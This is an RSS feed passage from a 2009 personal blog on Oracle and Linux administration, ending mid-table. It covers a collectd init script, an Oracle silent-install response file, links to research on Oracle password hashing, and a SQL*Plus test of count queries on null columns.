<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>Yaping&#039;s Weblog</title>
	<atom:link href="http://yaping123.wordpress.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://yaping123.wordpress.com</link>
	<description>Just another WordPress.com weblog</description>
	<lastBuildDate>Mon, 13 Apr 2009 15:01:22 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.com/</generator>
<cloud domain='yaping123.wordpress.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://s2.wp.com/i/buttonw-com.png</url>
		<title>Yaping&#039;s Weblog</title>
		<link>http://yaping123.wordpress.com</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://yaping123.wordpress.com/osd.xml" title="Yaping&#039;s Weblog" />
	<atom:link rel='hub' href='http://yaping123.wordpress.com/?pushpress=hub'/>
		<item>
		<title>Add Linux service manually</title>
		<link>http://yaping123.wordpress.com/2009/04/13/add-linux-service-manually/</link>
		<comments>http://yaping123.wordpress.com/2009/04/13/add-linux-service-manually/#comments</comments>
		<pubDate>Mon, 13 Apr 2009 15:01:22 +0000</pubDate>
		<dc:creator>Yaping</dc:creator>
				<category><![CDATA[Unix/Linux]]></category>

		<guid isPermaLink="false">http://yaping123.wordpress.com/?p=182</guid>
		<description><![CDATA[Here I demo how to add commands to system service on Linux. Assume I have one shell script named collectd, like the following: &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;- #!/bin/sh # # Startup script for the collectd Server # # chkconfig: &#8211; 50 50 # description: collectd gathers statistics about the system it is running on and stores this information [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=yaping123.wordpress.com&amp;blog=4645497&amp;post=182&amp;subd=yaping123&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Here I demo how to add commands to system service on Linux.</p>
<p>Assume I have one shell script named collectd, like the following:</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
#!/bin/sh<br />
#<br />
# Startup script for the collectd Server<br />
#<br />
# chkconfig: &#8211; 50 50<br />
# description: collectd gathers statistics about the system it is running on and stores this information<br />
# processname: collectd<br />
# pidfile: /opt/collectd/var/run/collectd.pid<br />
# config:  /opt/collectd/etc/collectd.conf<br />
# command: /opt/collectd/sbin/collectd<br />
CONFIG_FILE=/opt/collectd/etc/collectd.conf<br />
PID_FILE=/opt/collectd/var/run/collectd.pid<br />
CMD_FILE=/opt/collectd/sbin/collectd</p>
<p>case &#8220;$1&#8243; in<br />
start)<br />
# Starts the collectd deamon<br />
echo &#8220;Starting collectd&#8221;<br />
$CMD_FILE -C $CONFIG_FILE<br />
;;</p>
<p>stop)<br />
# stops the daemon bt cat&#8217;ing the pidfile<br />
echo &#8220;stopping collectd&#8221;<br />
kill -9 `cat $PID_FILE`<br />
;;</p>
<p>restart)<br />
## Stop the service regardless of whether it was<br />
## running or not, start it again.<br />
echo &#8220;Restarting collectd&#8221;<br />
$0 stop<br />
$0 start<br />
;;</p>
<p>reload)<br />
# reloads the config file by sending HUP<br />
echo &#8220;Reloading config&#8221;<br />
kill -HUP `cat $PID_FILE`<br />
;;</p>
<p>*)<br />
echo &#8220;Usage: collectd (start|stop|restart|reload)&#8221;<br />
exit 1<br />
;;</p>
<p>esac<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>Then I copy this script to /etc/init.d/collectd and perform the below commands.</p>
<p>chkconfig &#8211;add collectd<br />
chkconfig &#8211;level 2345 collectd on<br />
service collectd start</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/yaping123.wordpress.com/182/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/yaping123.wordpress.com/182/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/yaping123.wordpress.com/182/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/yaping123.wordpress.com/182/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/yaping123.wordpress.com/182/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/yaping123.wordpress.com/182/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/yaping123.wordpress.com/182/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/yaping123.wordpress.com/182/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/yaping123.wordpress.com/182/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/yaping123.wordpress.com/182/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/yaping123.wordpress.com/182/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/yaping123.wordpress.com/182/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/yaping123.wordpress.com/182/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/yaping123.wordpress.com/182/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=yaping123.wordpress.com&amp;blog=4645497&amp;post=182&amp;subd=yaping123&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://yaping123.wordpress.com/2009/04/13/add-linux-service-manually/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/08d4a1992b704ef7bba5bd9689427476?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">yaping</media:title>
		</media:content>
	</item>
		<item>
		<title>Silently install Oracle database software to custom components</title>
		<link>http://yaping123.wordpress.com/2009/04/13/silently-install-oracle-database-software-to-custom-components/</link>
		<comments>http://yaping123.wordpress.com/2009/04/13/silently-install-oracle-database-software-to-custom-components/#comments</comments>
		<pubDate>Mon, 13 Apr 2009 14:40:11 +0000</pubDate>
		<dc:creator>Yaping</dc:creator>
				<category><![CDATA[Oracle]]></category>

		<guid isPermaLink="false">http://yaping123.wordpress.com/2009/04/13/silently-install-oracle-database-software-to-custom-components/</guid>
		<description><![CDATA[Sometimes we have to install Oracle software silently, and choose components as we need. If so, we should specify parameters -silent and -responseFile when we run runInstaller command. The value of -responseFile can be ../database/response/custom.rsp, there&#8217;re several important setting in custom.rsp. custom.rsp: #&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212; #Name : FROM_LOCATION #Datatype : String #Description: Complete path to the products.xml. [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=yaping123.wordpress.com&amp;blog=4645497&amp;post=179&amp;subd=yaping123&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Sometimes we have to install Oracle software silently, and choose components as we need.</p>
<p>If so, we should specify parameters -silent and -responseFile when we run runInstaller command.</p>
<p>The value of -responseFile can be ../database/response/custom.rsp, there&#8217;re several important setting in custom.rsp.</p>
<p>custom.rsp:</p>
<p>#&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>#Name : FROM_LOCATION</p>
<p>#Datatype : String</p>
<p>#Description: Complete path to the products.xml.</p>
<p>#Example : FROM_LOCATION = &#8220;../source/db/Disk1/stage/products.xml&#8221;</p>
<p>#&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>FROM_LOCATION=&#8221;../database/stage/products.xml&#8221;</p>
<p>#&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>#Name : INSTALL_TYPE</p>
<p>#Datatype : String</p>
<p>#Description: Installation type of the component.</p>
<p>#</p>
<p># The following choices are available. The value should contain</p>
<p># only one of these choices.</p>
<p># EE : Enterprise Edition</p>
<p># SE : Standard Edition</p>
<p># Custom : Custom</p>
<p>#Example : INSTALL_TYPE = &#8220;Custom&#8221;</p>
<p>#&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>INSTALL_TYPE=&#8221;Custom&#8221;</p>
<p>#&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>#Name : oracle.server:DEPENDENCY_LIST</p>
<p>#Datatype : StringList</p>
<p>#Description: List of products that you would like to install.</p>
<p>#</p>
<p># The following choices are available. You may specify any</p>
<p># combination of these choices. The components you choose should</p>
<p># be specified in the form &#8220;:&#8221;</p>
<p># Below is a list of components you may specify to install.</p>
<p>#</p>
<p># oracle.rdbms:11.1.0.6.0 &#8211; Oracle Database 11g</p>
<p># oracle.options:11.1.0.6.0 &#8211; Enterprise Edition Options</p>
<p># oracle.network:11.1.0.6.0 &#8211; Oracle Net Services</p>
<p># oracle.sysman.console.db:11.1.0.5.0 &#8211; Database Control</p>
<p># oracle.rdbms.oci:11.1.0.6.0 &#8211; Oracle Call Interface (OCI)</p>
<p># oracle.precomp:11.1.0.6.0 &#8211; Oracle Programmer</p>
<p># oracle.xdk:11.1.0.6.0 &#8211; Oracle XML Development Kit</p>
<p># oracle.sqlplus.isqlplus:11.1.0.6.0 &#8211; iSQL*Plus</p>
<p># oracle.odbc:11.1.0.6.0 &#8211; Oracle ODBC Driver</p>
<p># oracle.sysman.ccr:10.2.6.0.0 &#8211; Oracle Configuration Manager</p>
<p>#</p>
<p>#Example : DEPENDENCY_LIST = {&#8220;oracle.rdbms:11.1.0.6.0&#8243;}</p>
<p>#&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>oracle.server:DEPENDENCY_LIST={&#8220;oracle.rdbms:11.1.0.6.0&#8243;,&#8221;oracle.options:11.1.0.6.0&#8243;,&#8221;oracle.network:11.1.0.6.0&#8243;,&#8221;oracle.sysman.console.db:11.1.0.5.0&#8243;,&#8221;oracle.rdbms.oci:11.1.0.6.0&#8243;,&#8221;oracle.precomp:11.1.0.6.0&#8243;,&#8221;oracle.xdk:11.1.0.6.0&#8243;,&#8221;oracle.sqlplus.isqlplus:11.1.0.6.0&#8243;,&#8221;oracle.odbc:11.1.0.6.0&#8243;,&#8221;oracle.sysman.ccr:10.2.6.0.0&#8243;}</p>
<p>#&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>#Name : oracle.options:DEPENDENCY_LIST</p>
<p>#Datatype : StringList</p>
<p>#Description: List of Enterprise Edition Options you would like to install.</p>
<p>#</p>
<p># The following choices are available. You may specify any</p>
<p> # combination of these choices. The components you choose should</p>
<p># be specified in the form &#8220;:&#8221;</p>
<p># Below is a list of components you may specify to install.</p>
<p>#</p>
<p># oracle.network.aso:11.1.0.6.0 &#8211; Oracle Advanced Security</p>
<p># oracle.rdbms.partitioning:11.1.0.6.0 &#8211; Oracle Partitioning</p>
<p># oracle.sdo:11.1.0.6.0 &#8211; Oracle Spatial</p>
<p># oracle.rdbms.lbac:11.1.0.6.0 &#8211; Oracle Label Security</p>
<p># oracle.oraolap:11.1.0.6.0 &#8211; Oracle OLAP</p>
<p># oracle.rdbms.dmse:11.1.0.6.0 &#8211; Oracle Data Mining Scoring Engine</p>
<p>#</p>
<p>#Example : DEPENDENCY_LIST = {&#8220;oracle.rdbms.partitioning:11.1.0.6.0&#8243;}</p>
<p>#&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>oracle.options:DEPENDENCY_LIST={&#8220;oracle.network.aso:11.1.0.6.0&#8243;,&#8221;oracle.rdbms.partitioning:11.1.0.6.0&#8243;,&#8221;oracle.sdo:11.1.0.6.0&#8243;,&#8221;oracle.oraolap:11.1.0.6.0&#8243;,&#8221;oracle.rdbms.lbac:11.1.0.6.0&#8243;,&#8221;oracle.rdbms.dmse:11.1.0.6.0&#8243;,&#8221;oracle.rdbms.rat:11.1.0.6.0&#8243;,&#8221;oracle.rdbms.dm:11.1.0.6.0&#8243;,&#8221;oracle.rdbms.dv:11.1.0.6.0&#8243;}</p>
<p>Some server/options value don&#8217;t be listed on the above description part, but you can find them in the products.xml file, like the following, then we can use them to set the value of oracle.server/oracle.options:</p>
<p>products.xml:</p>
<p>&lt;COMP NAME=&#8221;oracle.rdbms.rat&#8221; VER=&#8221;11.1.0.6.0&#8243; BUILD_NUMBER=&#8221;0&#8243; REP_VER=&#8221;0.0.0.0.0&#8243; RELEASE=&#8221;Production&#8221; INV_LOC=&#8221;Components/oracle.rdbms.rat/11.1.0.6.0/1/&#8221; LANGS=&#8221;ALL_LANGS&#8221; STG_PLAT=&#8221;Linux&#8221; PLAT=&#8221;ALL_PLATFORMS&#8221;&gt;<br />
   &lt;EXT_NAME&gt;Oracle Real Application Testing&lt;/EXT_NAME&gt;<br />
   &lt;DESCID&gt;COMPONENT_DESC&lt;/DESCID&gt;</p>
<p>&lt;COMP NAME=&#8221;oracle.rdbms.dm&#8221; VER=&#8221;11.1.0.6.0&#8243; BUILD_NUMBER=&#8221;0&#8243; REP_VER=&#8221;0.0.0.0.0&#8243; RELEASE=&#8221;Production&#8221; INV_LOC=&#8221;Components/oracle.rdbms.dm/11.1.0.6.0/1/&#8221; LANGS=&#8221;ALL_LANGS&#8221; STG_PLAT=&#8221;Linux&#8221; PLAT=&#8221;ALL_PLATFORMS&#8221;&gt;<br />
   &lt;EXT_NAME&gt;Oracle Data Mining RDBMS Files&lt;/EXT_NAME&gt;</p>
<p>&lt;COMP NAME=&#8221;oracle.rdbms.dv&#8221; VER=&#8221;11.1.0.6.0&#8243; BUILD_NUMBER=&#8221;0&#8243; REP_VER=&#8221;0.0.0.0.0&#8243; RELEASE=&#8221;Production&#8221; INV_LOC=&#8221;Components/oracle.rdbms.dv/11.1.0.6.0/1/&#8221; LANGS=&#8221;ALL_LANGS&#8221; STG_PLAT=&#8221;Linux&#8221; PLAT=&#8221;ALL_PLATFORMS&#8221;&gt;<br />
   &lt;EXT_NAME&gt;Oracle Database Vault option&lt;/EXT_NAME&gt;</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/yaping123.wordpress.com/179/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/yaping123.wordpress.com/179/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/yaping123.wordpress.com/179/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/yaping123.wordpress.com/179/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/yaping123.wordpress.com/179/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/yaping123.wordpress.com/179/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/yaping123.wordpress.com/179/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/yaping123.wordpress.com/179/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/yaping123.wordpress.com/179/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/yaping123.wordpress.com/179/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/yaping123.wordpress.com/179/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/yaping123.wordpress.com/179/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/yaping123.wordpress.com/179/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/yaping123.wordpress.com/179/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=yaping123.wordpress.com&amp;blog=4645497&amp;post=179&amp;subd=yaping123&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://yaping123.wordpress.com/2009/04/13/silently-install-oracle-database-software-to-custom-components/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/08d4a1992b704ef7bba5bd9689427476?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">yaping</media:title>
		</media:content>
	</item>
		<item>
		<title>Oracle password algorithm</title>
		<link>http://yaping123.wordpress.com/2009/01/09/oracle-password-algorithm/</link>
		<comments>http://yaping123.wordpress.com/2009/01/09/oracle-password-algorithm/#comments</comments>
		<pubDate>Fri, 09 Jan 2009 05:11:34 +0000</pubDate>
		<dc:creator>Yaping</dc:creator>
				<category><![CDATA[Oracle]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://yaping123.wordpress.com/?p=177</guid>
		<description><![CDATA[Recently I read several Oracle security articles, they&#8217;re related to Oralce password algorithm. In the article, it details how Oracle use DES algorithm in CBC mode to generate password hash value and how Oracle process TNS native authentication. You can find them with the following links. DES-CBC The next level of Oracle attacks (http://freeworld.thc.org/papers/thc-orakelsniffert.pdf) TNS native [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=yaping123.wordpress.com&amp;blog=4645497&amp;post=177&amp;subd=yaping123&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Recently I read several Oracle security articles, they&#8217;re related to Oralce password algorithm.<br />
In the article, it details how Oracle use DES algorithm in CBC mode to generate password hash value<br />
and how Oracle process TNS native authentication.</p>
<p>You can find them with the following links.<br />
DES-CBC<br />
<em>The next level of Oracle attacks</em> (<a title="http://freeworld.thc.org/papers/thc-orakelsniffert.pdf" href="http://freeworld.thc.org/papers/thc-orakelsniffert.pdf">http://freeworld.thc.org/papers/thc-orakelsniffert.pdf</a>)<br />
TNS native authentication (<a title="http://www.oxid.it/topics.html" href="http://www.oxid.it/topics.html">http://www.oxid.it/topics.html</a>)<br />
<em>Oracle 9i TNS 3DES authentication details<br />
Oracle 10g TNS AES-128 authentication details<br />
Oracle 11g TNS AES-192 authentication details</em></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/yaping123.wordpress.com/177/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/yaping123.wordpress.com/177/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/yaping123.wordpress.com/177/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/yaping123.wordpress.com/177/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/yaping123.wordpress.com/177/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/yaping123.wordpress.com/177/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/yaping123.wordpress.com/177/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/yaping123.wordpress.com/177/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/yaping123.wordpress.com/177/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/yaping123.wordpress.com/177/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/yaping123.wordpress.com/177/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/yaping123.wordpress.com/177/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/yaping123.wordpress.com/177/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/yaping123.wordpress.com/177/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=yaping123.wordpress.com&amp;blog=4645497&amp;post=177&amp;subd=yaping123&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://yaping123.wordpress.com/2009/01/09/oracle-password-algorithm/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/08d4a1992b704ef7bba5bd9689427476?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">yaping</media:title>
		</media:content>
	</item>
		<item>
		<title>select count(id) from t where id is null</title>
		<link>http://yaping123.wordpress.com/2008/11/15/select-countid-from-t-where-id-is-null/</link>
		<comments>http://yaping123.wordpress.com/2008/11/15/select-countid-from-t-where-id-is-null/#comments</comments>
		<pubDate>Sat, 15 Nov 2008 02:04:28 +0000</pubDate>
		<dc:creator>Yaping</dc:creator>
				<category><![CDATA[Oracle]]></category>
		<category><![CDATA[miscellaneous]]></category>

		<guid isPermaLink="false">http://yaping123.wordpress.com/?p=163</guid>
		<description><![CDATA[select count(id) from t where id is null; How does Oracle handle query statement like it? count(id) means add up row number which id is not null. First I think Oracle will parse this statement, then return the result 0 immediately, not access table or index. Is it so? I did the test on Oracle [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=yaping123.wordpress.com&amp;blog=4645497&amp;post=163&amp;subd=yaping123&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>select count(id) from t where id is null;</p>
<p>How does Oracle handle query statement like it?<br />
count(id) means add up row number which id is not null. First I think Oracle will parse<br />
this statement, then return the result 0 immediately, not access table or index. Is it so?</p>
<p>I did the test on Oracle 9208 and 10203.<br />
9208<br />
<a href="mailto:test@CHEN&gt;create">test@CHEN&gt;create</a> table t (id number,a char(100));<br />
Table created.</p>
<p><a href="mailto:test@CHEN&gt;insert">test@CHEN&gt;insert</a> into t select rownum,&#8217;A&#8217; from dual connect by level&lt;50000;<br />
49999 rows created.</p>
<p><a href="mailto:test@CHEN&gt;analyze">test@CHEN&gt;analyze</a> table t compute statistics;<br />
Table analyzed.</p>
<p><a href="mailto:test@CHEN&gt;set">test@CHEN&gt;set</a> autotrace on<br />
<a href="mailto:test@CHEN&gt;select">test@CHEN&gt;select</a> count(id) from t where id is null;<br />
 COUNT(ID)<br />
&#8212;&#8212;&#8212;-<br />
         0</p>
<p>Execution Plan<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
   0      SELECT STATEMENT Optimizer=CHOOSE (Cost=75 Card=1 Bytes=4)<br />
   1    0   SORT (AGGREGATE)<br />
   2    1     TABLE ACCESS (FULL) OF &#8216;T&#8217; (Cost=75 Card=1 Bytes=4)</p>
<p>Statistics<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
          0  recursive calls<br />
          0  db block gets<br />
        772  consistent gets<br />
          0  physical reads<br />
          0  redo size<br />
        406  bytes sent via SQL*Net to client<br />
        499  bytes received via SQL*Net from client<br />
          2  SQL*Net roundtrips to/from client<br />
          0  sorts (memory)<br />
          0  sorts (disk)<br />
          1  rows processed<br />
<a href="mailto:test@CHEN&gt;create">test@CHEN&gt;create</a> index idx_t_id on t(id);<br />
Index created.</p>
<p><a href="mailto:test@CHEN&gt;analyze">test@CHEN&gt;analyze</a> table t compute statistics;<br />
Table analyzed.</p>
<p><a href="mailto:test@CHEN&gt;select">test@CHEN&gt;select</a> count(id) from t where id is null;<br />
 COUNT(ID)<br />
&#8212;&#8212;&#8212;-<br />
         0<br />
Execution Plan<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
   0      SELECT STATEMENT Optimizer=CHOOSE (Cost=75 Card=1 Bytes=4)<br />
   1    0   SORT (AGGREGATE)<br />
   2    1     TABLE ACCESS (FULL) OF &#8216;T&#8217; (Cost=75 Card=1 Bytes=4)</p>
<p>Statistics<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
          0  recursive calls<br />
          0  db block gets<br />
        772  consistent gets<br />
          0  physical reads<br />
          0  redo size<br />
        406  bytes sent via SQL*Net to client<br />
        499  bytes received via SQL*Net from client<br />
          2  SQL*Net roundtrips to/from client<br />
          0  sorts (memory)<br />
          0  sorts (disk)<br />
          1  rows processed<br />
<a href="mailto:test@CHEN&gt;alter">test@CHEN&gt;alter</a> table t modify id not null;<br />
Table altered.</p>
<p><a href="mailto:test@CHEN&gt;select">test@CHEN&gt;select</a> count(id) from t where id is null;<br />
 COUNT(ID)<br />
&#8212;&#8212;&#8212;-<br />
         0</p>
<p>Execution Plan<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
   0      SELECT STATEMENT Optimizer=CHOOSE (Cost=1 Card=1 Bytes=4)<br />
   1    0   SORT (AGGREGATE)<br />
   2    1     INDEX (RANGE SCAN) OF &#8216;IDX_T_ID&#8217; (NON-UNIQUE) (Cost=1 Ca<br />
          rd=1 Bytes=4)</p>
<p>Statistics<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
          0  recursive calls<br />
          0  db block gets<br />
          2  consistent gets<br />
          0  physical reads<br />
          0  redo size<br />
        406  bytes sent via SQL*Net to client<br />
        499  bytes received via SQL*Net from client<br />
          2  SQL*Net roundtrips to/from client<br />
          0  sorts (memory)<br />
          0  sorts (disk)<br />
          1  rows processed</p>
<p> <br />
10203<br />
<a href="mailto:test@TEST&gt;create">test@TEST&gt;create</a> table t (id number,a char(100));<br />
Table created.</p>
<p><a href="mailto:test@TEST&gt;insert">test@TEST&gt;insert</a> into t select rownum,&#8217;A&#8217; from dual connect by level&lt;50000;<br />
49999 rows created.</p>
<p><a href="mailto:test@TEST&gt;analyze">test@TEST&gt;analyze</a> table t compute statistics;<br />
Table analyzed.</p>
<p><a href="mailto:test@TEST&gt;set">test@TEST&gt;set</a> autotrace on</p>
<p><a href="mailto:test@TEST&gt;select">test@TEST&gt;select</a> count(id) from t where id is null;<br />
 COUNT(ID)<br />
&#8212;&#8212;&#8212;-<br />
         0</p>
<p>Execution Plan<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
Plan hash value: 2966233522</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
| Id  | Operation          | Name | Rows  | Bytes | Cost (%CPU)| Time     |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
|   0 | SELECT STATEMENT   |      |     1 |     4 |   196   (2)| 00:00:02 |<br />
|   1 |  SORT AGGREGATE    |      |     1 |     4 |            |          |<br />
|*  2 |   TABLE ACCESS FULL| T    |     1 |     4 |   196   (2)| 00:00:02 |<br />
